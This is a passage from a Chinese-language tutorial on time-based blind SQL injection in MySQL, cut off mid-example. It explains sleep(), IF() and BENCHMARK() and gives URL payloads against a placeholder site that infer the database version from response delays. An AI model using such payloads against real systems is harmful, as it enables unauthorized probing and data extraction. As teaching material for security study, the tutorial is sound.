时间盲注
使用场景
没有True/False,也没有任何错误提示类信息,在这种情况下可以考虑通过时间线的长短来判断是否存在SQL注入,即基于时间的盲注!
函数简介
- sleep():用于延迟
- IF(Condition,A,B):当Condition为TRUE时,返回A;当Condition为FALSE时,返回B
- BENCHMARK(count,expr):重复count次执行表达式expr,它可以用于计时MySQL处理表达式有多快,结果值总是0
盲注流程
首先我们需要猜解后台的SQL语句的画像究竟如何之后便于我们构造SQL语句,例如:究竟是字符型还是数字型,还是使用了括号、双引号
猜解数据库版本信息
版本号第一位:
http://www.example.com/?id=1 and if(left(version(),1)>4,1,sleep(5)) --+ #没有任何延时
http://www.example.com/?id=1 and if(left(version(),1)>5,1,sleep(5)) --+ #延时5s
http://www.example.com/?id=1 and if(left(version